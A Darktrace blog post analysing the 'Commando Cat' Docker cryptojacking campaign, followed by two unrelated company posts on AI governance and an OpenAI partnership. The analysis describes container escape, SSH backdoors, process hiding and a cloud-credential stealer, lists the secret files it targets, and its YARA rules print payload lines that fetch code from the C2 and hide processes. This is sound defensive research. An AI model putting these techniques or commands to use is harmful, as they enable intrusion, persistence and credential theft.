Blog
/
/
January 2, 2024

The Nine Lives of Commando Cat: Analyzing a Novel Malware Campaign Targeting Docker

"Commando Cat" is a novel cryptojacking campaign exploiting exposed Docker API endpoints. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog image
02
Jan 2024

Summary

  • Commando Cat is a novel cryptojacking campaign exploiting Docker for Initial Access
  • The campaign deploys a benign container generated using the Commando Project [1]
  • The attacker escapes this container and runs multiple payloads on the Docker host
  • The campaign deploys a credential stealer payload, targeting Cloud Service Provider credentials (AWS, GCP, Azure)
  • The other payloads exhibit a variety of sophisticated techniques, including an interesting process hiding technique (as discussed below) and a Docker Registry blackhole

Introduction: Commando cat

Cado Security labs (now part of Darktrace) encountered a novel malware campaign, dubbed “Commando Cat”, targeting exposed Docker API endpoints. This is the second campaign targeting Docker since the beginning of 2024, the first being the malicious deployment of the 9hits traffic exchange application, a report which was published only a matter of weeks prior. [2]

Attacks on Docker are relatively common, particularly in cloud environments. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives. Commando Cat is a cryptojacking campaign leveraging Docker as an initial access vector and (ab)using the service to mount the host’s filesystem, before running a series of interdependent payloads directly on the host. 

As described in the coming sections, these payloads are responsible for registering persistence, enabling a backdoor, exfiltrating various Cloud Service Provider credential files and executing the miner itself. Of particular interest are a number of evasion techniques exhibited by the malware, including an unusual process hiding mechanism. 

Initial access

The payloads are delivered to exposed Docker API instances over the Internet by the IP 45[.]9.148.193 (which is the same as C2). The attacker instructs Docker to pull down a Docker image called cmd.cat/chattr. The cmd.cat (also known as Commando) project “generates Docker images on-demand with all the commands you need and simply point them by name in the docker run command.” 

It is likely used by the attacker to seem like a benign tool and not arouse suspicion.

The attacker then creates the container with a custom command to execute:

Container image with custom command to execute
Figure 1: Container with custom command to execute

It uses the chroot to escape from the container onto the host operating system. This initial command checks if the following services are active on the system:

  • sys-kernel-debugger
  • gsc
  • c3pool_miner
  • Dockercache

The gsc, c3pool_miner, and dockercache services are all created by the attacker after infection. The purpose of the check for sys-kernel-debugger is unclear - this service is not used anywhere in the malware, nor is it part of Linux. It is possible that the service is part of another campaign that the attacker does not want to compete with.

Once these checks pass, it runs the container again with another command, this time to infect it:

Container with infect command
Figure 2: Container with infect command

This script first chroots to the host, and then tries to copy any binaries named wls or cls to wget and curl respectively. A common tactic of cryptojacking campaigns is that they will rename these binaries to evade detection, likely the attacker is anticipating that this box was previously infected by a campaign that renamed the binaries to this, and is undoing that. The attacker then uses either wget or curl to pull down the user.sh payload.

This is repeated with the sh parameter changed to the following other scripts:

  • tshd
  • gsc
  • aws

In addition, another payload is delivered directly as a base64 encoded script instead of being pulled down from the C2, this will be discussed in a later section.

user.sh

The primary purpose of the user.sh payload is to create a backdoor in the system by adding an SSH key to the root account, as well as adding a user with an attacker-known password.

On startup, the script changes the permissions and attributes on various system files such as passwd, shadow, and sudoers in order to allow for the creation of the backdoor user:

Script
Figure 3

It then calls a function called make_ssh_backdoor, which inserts the following RSA and ED25519 SSH key into the root user’s authorized_keys file:

function make_ssh_backdoor
Figure 4

It then updates a number of SSH config options in order to ensure root login is permitted, along with enabling public key and password authentication. It also sets the AuthorizedKeysFile variable to a local variable named “$hidden_authorized_keys”, however this variable is never actually defined in the script, resulting in public key authentication breaking.

Once the SSH backdoor has been installed, the script then calls make_hidden_door. The function creates a new user called “games” by adding an entry for it directly into /etc/passwd and /etc/shadow, as well giving it sudo permission in /etc/sudoers.

The “games” user has its home directory set to /usr/games, likely as an attempt to appear as legitimate. To continue this theme, the attacker also has opted to set the login shell for the “games” user as /usr/bin/nologin. This is not the path for the real nologin binary, and is instead a copy of bash placed here by the malware. This makes the “games” user appear as a regular service account, while actually being a backdoor.

Games user
Figure 5

With the two backdoors in place, the malware then calls home with the SSH details to an API on the C2 server. Additionally, it also restarts sshd to apply the changes it made to the configuration file, and wipes the bash history.

SSH details
Figure 6

This provides the attacker with all the information required to connect to the server via SSH at any time, using either the root account with a pubkey, or the “games” user with a password or pubkey. However, as previously mentioned, pubkey authentication is broken due to a bug in the script. Consequently, the attacker only has password access to “games” in practice.

tshd.sh

This script is responsible for deploying TinyShell (tsh), an open source Unix backdoor written in C [3]. Upon launch, the script will try to install make and gcc using either apk, apt, or yum, depending on which is available. The script then pulls a copy of the tsh binary from the C2 server, compiles it, and then executes it.

Script
Figure 7

TinyShell works by listening on the host for incoming connections (on port 2180 in this case), with security provided by a hardcoded encryption key in both the client and server binaries. As the attacker has graciously provided the code, the key could be identified as “base64st”. 

A side effect of this is that other threat actors could easily scan for this port and try authenticating using the secret key, allowing anyone with the skills and resources to take over the botnet. TinyShell has been commonly used as a payload before, as an example, UNC2891 has made extensive use of TinyShell during their attacks on Oracle Solaris based systems [4].
The script then calls out to a freely available IP logger service called yip[.]su. This allows the attacker to be notified of where the tsh binary is running, to then connect to the infected machine.

Script
Figure 8

Finally, the script drops another script to /bin/hid (also referred to as hid in the script), which can be used to hide processes:

Script
Figure 9

This script works by cloning the Linux mtab file (a list of the active mounts) to another directory. It then creates a new bind mount for the /proc/pid directory of the process the attacker wants to hide, before restoring the mtab. The bind mount causes any queries to the /proc/pid directory to show an empty directory, causing tools like ps aux to omit the process. Cloning the mtab and then restoring the older version also hides the created bind mount, making it harder to detect.

The script then uses this binary to hide the tshd process.

gsc.sh

This script is responsible for deploying a backdoor called gs-netcat, a souped-up version of netcat that can punch through NAT and firewalls. It’s purpose is likely for acting as a backdoor in scenarios where traditional backdoors like TinyShell would not work, such as when the infected host is behind NAT.

Gs-netcat works in a somewhat interesting way - in order for nodes to find each other, they use their shared secret instead of IP address using the  service. This permits gs-netcat to function in virtually every environment as it circumvents many firewalls on both the client and server end. To calculate a shared secret, the script simply uses the victims IP and hostname:

Script
Figure 10

This is more acceptable than tsh from a security point of view, there are 4 billion possible IP addresses and many more possible hostnames, making a brute force harder, although still possible by using strategies such as lists of common hostnames and trying IPs from blocks known for hosting virtual servers such as AWS.

The script proceeds to set up gs-netcat by pulling it from the attacker’s C2 server, using a specific version based on the architecture of the infected system. Interestingly to note, the attacker will use the cmd.cat containers to untar the downloaded payload, if tar is not available on the system or fails. Instead of using /tmp, it also uses /dev/shm instead, which acts as a temporary file store, but memory backed instead. It is possible that this is an evasion mechanism, as it is much more common for malware to use /tmp. This also results in the artefacts not touching the disk, making forensics somewhat more difficult. This technique has been used before in BPFdoor - a high-profile Linux campaign [6].

Script
Figure 11

Once the binary has been installed, the script creates a malicious systemd service unit to achieve persistence. This is a very common method for Linux malware to obtain persistence; however not all systems use systemd, resulting in this payload being rendered entirely ineffective on these systems. $VICCS is the shared secret discussed earlier, which is stored in a file and passed to the process.

Script
Figure 12

The script then uses the previously discussed hid binary to hide the gs-netcat process. It is worth noting that this will not survive a reboot, as there is no mechanism to hide the process again after it is respawned by systemd.

Script
Figure 13

Finally, the malware sends the shared secret to the attacker via their API, much like how it does with SSH:

Script
Figure 14

This allows the attacker to run their client instance of gs-netcat with the shared secret and gain persistent access to the infected machine.

aws.sh

The aws.sh script is a credential grabber that pulls credentials from several files on disk, as well as IMDS, and environment variables. Interestingly, the script creates a file so that once the script runs the first time, it can never be run again as the file is never removed. This is potentially to avoid arousing suspicion by generating lots of calls to IMDS or the AWS API, as well as making the keys harvested by the attacker distinct per infected machine.

The script overall is very similar to scripts that have been previously attributed to TeamTNT and could have been copied from one of their campaigns [7.] However, script-based attribution is difficult, and while the similarities are visible, it is hard to attribute this script to any particular group.

Script
Figure 15

The first thing run by the script (if an AWS environment is detected) is the AWS grabber script. Firstly, it makes several requests to IMDS in order to obtain information about the instance’s IAM role and the security credentials for it. The timeout is likely used to stop this part of the script taking a long time to run on systems where IMDS is not available. It would also appear this script only works with IMDSv1, so can be rendered ineffective by enforcing IMDSv2.

Script
Figure 16

Information of interest to the attacker, such as instance profiles, access keys, and secret keys, are then extracted from the response and placed in a global variable called CSOF, which is used throughout the script to store captured information before sending it to the API.

Next, it checks environment variables on the instance for AWS related variables, and adds them to CSOF if they are present.

Script
Figure 17

Finally, it adds the sts caller identity returned from the AWS command line to CSOF.

Next up is the cred_files function, which executes a search for a few common credential file names and reads their contents into CSOF if they are found. It has a few separate lists of files it will try to capture.

CRED_FILE_NAMES:

  • "authinfo2"
  • "access_tokens.db"
  • ".smbclient.conf"
  • ".smbcredentials"
  • ".samba_credentials"
  • ".pgpass"
  • "secrets"
  • ".boto"
  • ".netrc"
  • "netrc"
  • ".git-credentials"
  • "api_key"
  • "censys.cfg"
  • "ngrok.yml"
  • "filezilla.xml"
  • "recentservers.xml"
  • "queue.sqlite3"
  • "servlist.conf"
  • "accounts.xml"
  • "kubeconfig"
  • "adc.json"
  • "azure.json"
  • "clusters.conf" 
  • "docker-compose.yaml"
  • ".env"

AWS_CREDS_FILES:

  • "credentials"
  • ".s3cfg"
  • ".passwd-s3fs"
  • ".s3backer_passwd"
  • ".s3b_config"
  • "s3proxy.conf"

GCLOUD_CREDS_FILES:

  • "config_sentinel"
  • "gce"
  • ".last_survey_prompt.yaml"
  • "config_default"
  • "active_config"
  • "credentials.db"
  • "access_tokens.db"
  • ".last_update_check.json"
  • ".last_opt_in_prompt.yaml"
  • ".feature_flags_config.yaml"
  • "adc.json"
  • "resource.cache"

The files are then grabbed by performing a find on the root file system for their name, and the results appended to a temporary file, before the final concatenation of the credentials files is read back into the CSOF variable.

CSOF variable
Figure 18

Next up is get_prov_vars, which simply loops through all processes in /proc and reads out their environment variables into CSOF. This is interesting as the payload already checks the environment variables in a lot of cases, such as in the aws, google, and azure grabbers. So, it is unclear why they grab all data, but then grab specific portions of the data again.

Code
Figure 19

Regardless of what data it has already grabbed, get_google and get_azure functions are called next. These work identically to the AWS environment variable grabber, where it checks for the existence of a variable and then appends its contents (or the file’s contents if the variable is path) to CSOF.

Code
Figure 20

The final thing it grabs is an inspection of all running docker containers via the get_docker function. This can contain useful information about what's running in the container and on the box in general, as well as potentially providing more secrets that are passed to the container.

Code
Figure 21

The script then closes out by sending all of the collected data to the attacker. The attacker has set a username and password on their API endpoint for collected data, the purpose for which is unclear. It is possible that the attacker is concerned with the endpoint being leaked and consequently being spammed with false data by internet vigilantes, so added the authentication as a mechanism allowing them to cycle access by updating the payload and API.

Code
Figure 22

The base64 payload

As mentioned earlier, the final payload is delivered as a base64 encoded script rather than in the traditional curl-into-bash method used previously by the malware. This base64 is echoed into base64 -d, and then piped into bash. This is an extremely common evasion mechanism, with many script-based Linux threat actors using the same approach. It is interesting to note that the C2 IP used in this script is different from the other payloads.

The base64 payload serves two primary purposes, to deploy an XMRig cryptominer, and to “secure” the docker install on the infected host.

When it is run, the script looks for traces of other malware campaigns. Firstly, it removes all containers that have a command of /bin/bash -c 'apt-get or busybox, and then it removes all containers that do not have a command that contains chroot (which is the initial command used by this payload).

Code
Figure 23

Next, it looks for any services named “c3pool_miner” or “moneroocean_miner” and stops & disables the services. It then looks for associated binaries such as /root/c3pool/xmrig and /root/moneroocean/xmrig and deletes them from the filesystem. These steps are taken prior to deploying their own miner, so that they aren't competing for CPU time with other threat actors.

Once the competing miners have been killed off, it then sets up its own miner. It does this by grabbing a config and binary from the C2 server and extracting it to /usr/sbin. This drops two files: docker-cache and docker-proxy.

The docker-proxy binary is a custom fork of XMRig, with the path to the attacker’s config file hardcoded in the binary. It is invoked by docker-cache, which acts as a stager to ensure it is running, while also having the functionality to update the binary, should a file with .upd be detected.

It then uses a systemd service to achieve persistence for the XMRig stager, using the name docker cache daemon to appear inconspicuous. It is interesting to note that the name dockercache was also used by the Cetus cryptojacking worm .

Code
Figure 24

It then uses the hid script discussed previously to hide the docker-cache and docker-proxy services by creating a bind mount over their /proc entry. The effect of this is that if a system administrator were to use a tool like htop to try and see what process was using up the CPU on the server, they would not be able to see the process.

Finally, the attacker “secures” docker. First, it pulls down alpine and tags it as docker/firstrun (this will become clear as to why later), and then deletes any images in a hardcoded list of images that are commonly used in other campaigns.

Code
Figure 25

Next, it blackholes the docker registry by writing it's hostname to /etc/hosts with an IP of 0.0.0.0

Code
Figure 26

This completely blocks other attackers from pulling their images/tools onto the box, eliminating the risk of competition. Keeping the Alpine image named as docker/firstrun allows the attacker to still use the docker API to spawn an alpine box they can use to break back in, as it is already downloaded so the blackhole has no effect.

Conclusion

This malware sample, despite being primarily scripts, is a sophisticated campaign with a large amount of redundancy and evasion that makes detection challenging. The usage of the hid process hider script is notable as it is not commonly seen, with most malware opting to deploy clunkier rootkit kernel modules. The Docker Registry blackhole is also novel, and very effective at keeping other attackers off the box.

The malware functions as a credential stealer, highly stealthy backdoor, and cryptocurrency miner all in one. This makes it versatile and able to extract as much value from infected machines as possible. The payloads seem similar to payloads deployed by other threat actors, with the AWS stealer in particular having a lot of overlap with scripts attributed to TeamTNT in the past. Even the C2 IP points to the same provider that has been used by TeamTNT in the past. It is possible that this group is one of the many copycat groups that have built on the work of TeamTNT.

Indicators of compromise (IoCs)

Hashes

user 5ea102a58899b4f446bb0a68cd132c1d

tshd 73432d368fdb1f41805eba18ebc99940

gsc 5ea102a58899b4f446bb0a68cd132c1d

aws 25c00d4b69edeef1518f892eff918c2c

base64 ec2882928712e0834a8574807473752a

IPs

45[.]9.148.193

103[.]127.43.208

Yara Rule

rule Stealer_Linux_CommandoCat { 
 
meta: 

        description = "Detects CommandoCat aws.sh credential stealer script" 
 
        license = "Apache License 2.0" 
 
        date = "2024-01-25" 
 
        hash1 = "185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0" 
 
    strings: 
 
        // Constants 

        $const1 = "CRED_FILE_NAMES" 
 
        $const2 = "MIXED_CREDFILES" 
 
        $const3 = "AWS_CREDS_FILES" 
 
        $const4 = "GCLOUD_CREDS_FILES" 
 
        $const5 = "AZURE_CREDS_FILES" 
 
        $const6 = "VICOIP" 
 
        $const7 = "VICHOST" 

 // Functions 
 $func1 = "get_docker()" 
 $func2 = "cred_files()" 
 $func3 = "get_azure()" 
 $func4 = "get_google()" 
 $func5 = "run_aws_grabber()" 
 $func6 = "get_aws_infos()" 
 $func7 = "get_aws_meta()" 
 $func8 = "get_aws_env()" 
 $func9 = "get_prov_vars()" 

 // Log Statements 
 $log1 = "no dubble" 
 $log2 = "-------- PROC VARS -----------------------------------" 
 $log3 = "-------- DOCKER CREDS -----------------------------------" 
 $log4 = "-------- CREDS FILES -----------------------------------" 
 $log5 = "-------- AZURE DATA --------------------------------------" 
 $log6 = "-------- GOOGLE DATA --------------------------------------" 
 $log7 = "AWS_ACCESS_KEY_ID : $AWS_ACCESS_KEY_ID" 
 $log8 = "AWS_SECRET_ACCESS_KEY : $AWS_SECRET_ACCESS_KEY" 
 $log9 = "AWS_EC2_METADATA_DISABLED : $AWS_EC2_METADATA_DISABLED" 
 $log10 = "AWS_ROLE_ARN : $AWS_ROLE_ARN" 
 $log11 = "AWS_WEB_IDENTITY_TOKEN_FILE: $AWS_WEB_IDENTITY_TOKEN_FILE" 

 // Paths 
 $path1 = "/root/.docker/config.json" 
 $path2 = "/home/*/.docker/config.json" 
 $path3 = "/etc/hostname" 
 $path4 = "/tmp/..a.$RANDOM" 
 $path5 = "/tmp/$RANDOM" 
 $path6 = "/tmp/$RANDOM$RANDOM" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat { 
 meta: 
 description = "Detects CommandoCat gsc.sh backdoor registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "d083af05de4a45b44f470939bb8e9ccd223e6b8bf4568d9d15edfb3182a7a712" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "SETPATH" 
 $const3 = "SETNAME" 
 $const4 = "SETSERV" 
 $const5 = "VICIP" 
 $const6 = "VICHN" 
 $const7 = "GSCSTATUS" 
 $const8 = "VICSYSTEM" 
 $const9 = "GSCBINURL" 
 $const10 = "GSCATPID" 

 // Functions 
 $func1 = "hidfile()" 

 // Log Statements 
 $log1 = "run gsc ..." 

 // Paths 
 $path1 = "/dev/shm/.nc.tar.gz" 
 $path2 = "/etc/hostname" 
 $path3 = "/bin/gs-netcat" 
 $path4 = "/etc/systemd/gsc" 
 $path5 = "/bin/hid" 

 // General 
 $str1 = "mount --bind /usr/foo /proc/$1" 
 $str2 = "cp /etc/mtab /usr/t" 
 $str3 = "docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat_tshd { 
 meta: 
 description = "Detects CommandoCat tshd TinyShell registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "65c6798eedd33aa36d77432b2ba7ef45dfe760092810b4db487210b19299bdcb" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "HOME" 
 $const3 = "TSHDPID" 

 // Functions 
 $func1 = "setuptools()" 
 $func2 = "hidfile()" 
 $func3 = "hidetshd()" 

 // Paths 
 $path1 = "/var/tmp" 
 $path2 = "/bin/hid" 
 $path3 = "/etc/mtab" 
 $path4 = "/dev/shm/..tshdpid" 
 $path5 = "/tmp/.tsh.tar.gz" 
 $path6 = "/usr/sbin/tshd" 
 $path7 = "/usr/foo" 
 $path8 = "./tshd" 

 // General 
 $str1 = "curl -Lk $SRCURL/bin/tsh/tsh.tar.gz -o /tmp/.tsh.tar.gz" 
 $str2 = "find /dev/shm/ -type f -size 0 -exec rm -f {} \\;" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

References:

  1. https://github.com/lukaszlach/commando
  2. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts
  3. https://github.com/creaktive/tsh
  4. https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/
  5. https://www.gsocket.io/
  6. https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
  7. https://malware.news/t/cloudy-with-a-chance-of-credentials-aws-targeting-cred-stealer-expands-to-azure-gcp/71346
  8. https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

/

September 17, 2026

The Problem of Re-defining Human Value in the Agentic Age

Default blog imageDefault blog image

Newsfeeds are constantly informing us about the rapid escalation of agentic AI systems. These systems move far beyond simple machine-based computations, and  the focused, defined and bounded assistance that most AI systems started out as.

The next evolution of AI will harness the agentic properties of orchestration, automation, and heightened value-chains in IT, taking on the burden of workflow management, not just workflow delivery.

In nearly all of these instances, promises are made such as ‘this will free up human time’ or ‘this will allow people to focus on higher-order strategy’. However that message is delivered, one thing is clear: in ceding the orchestration and management of work to increasingly sophisticated AI agents and agentic systems, human value will be elevated to a particular and specific layer: the ability to judge its outputs.  As AI takes on more tasks, humans should be able to focus on a higher level of governance; making sure the decisions that AI offers us are ethical, responsible and worthwhile.  

But there are two major problems with that approach.

This blog discusses the problem of how Agentic systems are re-shaping how we review information, where we fit in, and when we make decisions.  It also discusses the problem of how the increased flow of confident, generated information affects the way we make judgement.  This blog considers how human judgement needs to adapt, and how a behavioral defense approach – using techniques pioneered by Darktrace – can help us do that.

The challenge of knowing where human judgement belongs

As we confer more automated decision-making to agentic systems, it might look increasingly less like ‘granting permissions’, and more like ‘surrendering authority’.  

The judgement layer for AI-generated work is not a fixed boundary. We have become used to the idea of a ‘human in the loop’ (HITL) and, historically, relationships between humans and IT systems were reasonably clear and bounded.  Computer and software systems were programmed to carry out certain tasks or automated functions, and humans could control the gates and decision points where actions were undertaken. Even across highly complex computational workflows, human interaction was a controllable node within the process; we were able to configure and regulate. But in the agentic age, where that human interaction sits, and what it can influence shifts every time AI systems are granted autonomy.  

This leads us to the first problem: if humans are moving themselves (or are being moved) into the ‘judgement’ part of the value chain, exactly where and when do we exercise that judgement?  

Humans are no longer the sole shepherds of computer-based or software-controlled outputs.  We are at times at least one step further (and slower) behind the new agentic shepherds.  We might also be blind to what they are doing.  Not only might we be removed and blind to the actions of our AI shepherds, but with the challenge of unknown, unapproved AI systems operating beyond our control, humans might not even know that our work is being shepherded by an AI at all.  Simply put, with the advent of greater levels of autonomy and orchestration, humans are at risk of not even knowing where to apply our newly-extended powers of strategic judgement.

Shadow AI – the use of unapproved AI systems or processes – is a growing threat to the role of effective governance and oversight. Shadow AI isn't just the AI you can't see. Its the AI you already know about being used in an unapproved way. The ability to generate effective oversight of the AI systems you use (or that are used on your behalf) will be increasingly important to ensure that human judgement in the AI value chain is effective, and deliberately placed.

The problem of what makes good judgement

The second problem lies in how flawed human judgement can be.  Humans are historically, notoriously, and, sometimes dangerously, unreliable when it comes to exercising judgement.  Humans are prone to the worst kinds of bias, the seduction of malign influence, and the sometimes-overwhelming urge to succeed. AI has long had a known flaw of operating with sycophancy, providing outputs that tend to agree with or flatter the human user.  But as AI grows ever more effective, there is a risk of both hyper-enablement (where humans increasingly and knowingly enable AI despite potential harm), as well as the greater risk of suggestion. Both of these aspects could skew the newly-elevated input of human judgement.

Imagine a highly competent AI system that has just orchestrated and managed a dizzying array of processes and workflows.  The AI is designed to present the human decision-maker with recommendations; based on analysis, comparison and other programmed factors.  This is where the human judgement layer is enabled.  But what if that judgement is summarily diffused by an AI-based recommendation that emulates the decision, provides plausible but unattractive alternatives, then suggests (or, worse, directs) the human end-user to take a particular course of action.

The risk here is that you are given a recommendation, tailored to your preferences (which the AI has learned, or which you have divulged), and which appears to make perfect sense.  It appears to be a well-weighted recommendation, with sound arguments that tap into our inherent biases or inclinations so that a specific decision-path is followed. With the growth of agentic systems specifically designed to match user profiles (from Cowork agents to ‘digital twin’ models), the likelihood of agentic influence could badly skew human judgement or, at the least, devalue the proposition that humans are taking a higher-layer of strategic control over AI-based decisions.

If AI convincingly recommends something that may be problematic, it can be difficult to discern both accurate data, and the context required to make the right judgement.

Given the two problems described above, the job of exercising valuable human judgement in the agentic age can draw down to these two questions:

  • When should humans intervene in the agentic process?  
  • How can we make the best possible judgement calls?

What humans contribute that AI cannot

For all the flaws that make human judgement unreliable, people have the edge over even the most sophisticated and powerful AI systems when it comes to issues such as ethics and social context.  An AI system can, with startling granularity, rank the value of adopting a new business proposal: offering predictive metrics on costs, returns, market value, time-to-deliver operations, conformance with legal registers, etc.  But it can’t tell if the business proposal is ethically sound, or if the business venture will potentially affect groups outside of the analyzed proposal. It can’t tell you if the CEO has a ‘bad feeling’ about this effort.  It can’t tell you if this is the right thing to do.  

The ability to add social context, balance complex interpersonal dynamics, understand nuance, and to go beyond what seems economically reasonable is where human judgement can add value.  

Human judgement is difficult to encapsulate in metrics. And the way we train our development may need to adapt too. Rather than building up a gradual, experiential knowledge base, we should think about training the skill of judgement itself; especially for an agentic age.

How behavioral security strengthens AI governance

If this all feels like a vicious circle (‘I need AI help to make good judgements’ / ‘AI can twist what I need to judge’) it needn’t be. The key to this is having a defense-in-depth approach, with tools that can actually help.

This is precisely where behavioral security becomes important. The complex and nuanced way that humans exercise judgement is often rooted in our ability to recognize behavior that doesn't look right. We may not always be able to articulate it immediately, but we can often identify when an action, recommendation, or outcome feels inconsistent with the context around it. As AI systems take on more responsibility across the decision chain, preserving that ability to recognize meaningful deviations becomes increasingly important.

Darktrace’s / SECURE AI is designed to do exactly that. It applies behavioral security to AI ecosystems, helping organizations understand how people, AI tools, identities, and agents interact across the business. By learning the patterns of normal AI usage and surfacing activity that deviates from those patterns, it provides security teams with the context needed to investigate risk, understand unusual behavior, and make informed governance decisions. Rather than relying solely on predefined rules or assumptions, this behavioral understanding helps organizations distinguish between expected AI activity and behavior that warrants closer scrutiny.

This matters because we are already in an era of information overload. If humans are expected to elevate their value through strategic judgement, the ability to do this without being overwhelmed by data (good or bad) will be critical.  

We need the ability to discern when we're being misled by AI, and whether our judgement calls are being made on the basis of accurate, contextual information. Darktrace / SECURE AI provides that additional layer of defensive security for activity we cannot easily see. Whether it is suspected Shadow AI or skewed recommendations, the net result is a protected organization, where users can more effectively use AI to make positive judgements.

For those where that judgement is a critical skill (both individuals, as well as those working in security teams), improving our metacognition - the ability to understand information in a broader context - will supercharge the value of human judgement. When those judgements are grounded in context rather than assumptions we have better information to make sound decisions.

Conclusion

Human judgement is a skill that is honed over time and experience.  Darktrace’s / SECURE AI employs the same principles, but at machine-speed. Rather than influencing or directing, Darktrace / SECURE AI offers AI-enabled assurance; providing human-based judgement with the right context to make a balanced decision.  

What we judge can be valued by the legitimacy of its outputs. For AI, those outputs are valued on the speed and accuracy of the information provided.  Increasingly for humans, the value of our outputs will be based on the validity of our judgement, and how we justify our decisions in ways that engineer confidence.  

Humans often know more than we can express, while AI is prone to expressing more than it truly understands. Humans can bridge the context AI often fails to appreciate. When that judgement is supported by relevant, impartial AI systems, this is the future space where good AI governance will be exercised.

Discover Darktrace / SECURE AI.

[related-resource]

Continue reading
About the author
Jason Lusted
AI Governance Advisor

Blog

/

/

September 4, 2026

Darktrace Advances Incident Investigation and AI-Agent Security with OpenAI Daybreak Models

Default blog imageDefault blog image

Earlier this year, Darktrace joined OpenAI’s Daybreak Defense Network to explore how their cyber capabilities can be integrated within Darktrace products and services to transform how security teams move from signal to action.

At the heart of this work is Darktrace's behavioral understanding of customer environments and identification of complex security incidents, combined with OpenAI models that can add context to help explain why an incident matters and its potential impact on the business. By bringing these capabilities into defensive workflows security teams already use, the goal is to give defenders not just greater visibility, but the context and guidance they need to act with confidence.

Since joining the program, we've been working with OpenAI to explore how these capabilities can address specific security challenges for defenders.

The problem we're solving

Attackers continue to change how they operate, including by using AI to increase the speed and scale of some techniques. Security teams are already managing a large volume of alerts, and the question isn't just what's happening, but how it could affect the organization. Even when an incident is fully investigated and correlated, technical severity alone doesn't tell a security team how much it actually matters to the business. That same challenge extends to internal AI adoption. As organizations adopt more AI systems and agents, security teams need visibility into their behavior, access and activity, along with the broader business context needed to identify and investigate potential risk.

Darktrace's Adaptive AI™ builds a detailed, organization-specific picture of what's normal for each environment, and uses that picture to investigate threats and identify complex security activity across domains. OpenAI's models can build on Darktrace's correlated, technically prioritized incidents by adding context that can help defenders understand what may be at stake.

What we're building

Our work is focused on two areas: supporting security investigation and response, and helping defenders identify risky behavior across enterprise AI systems and agents.

The first aligns Darktrace's behavioral understanding with OpenAI models to support  security investigation and prioritization. Darktrace's Adaptive AI continuously learns the unique patterns of normal behavior within each customer it protects, creating a deep, organization-specific understanding of its digital estate. When unusual activity emerges, OpenAI's models can draw on that context to help analysts investigate the incident, understand its significance and assess potential business consequences — reducing the need to manually assemble context from fragmented signals.

Second, we are exploring how these capabilities can support AI-agent and runtime security through Darktrace / SECURE AI™. OpenAI’s Daybreak models can build on the detections and visibility Darktrace / SECURE AI provides, connecting signals across a customer's environment and help defenders identify potentially risky behavior involving AI systems and agents. Activity that might appear isolated can instead be connected with related signals, helping defenders investigate the broader context and determine appropriate remediation.

Darktrace brings deep cybersecurity expertise, an evolving understanding of each customer's environment, and AI-driven identification of threats across the digital estate. Through the Daybreak Defense Network, Darktrace is exploring how OpenAI models can augment those capabilities in defensive security workflows — supporting incident investigation and response and improving visibility into AI-agent and runtime risk.

These capabilities are still in development, and we're excited to continue building on this work.

To learn more about how Darktrace continues to innovate to meet today's most pressing security challenges, register for our upcoming launch broadcast here.

Continue reading
About the author
Your data. Our AI.
Elevate your network security with Darktrace AI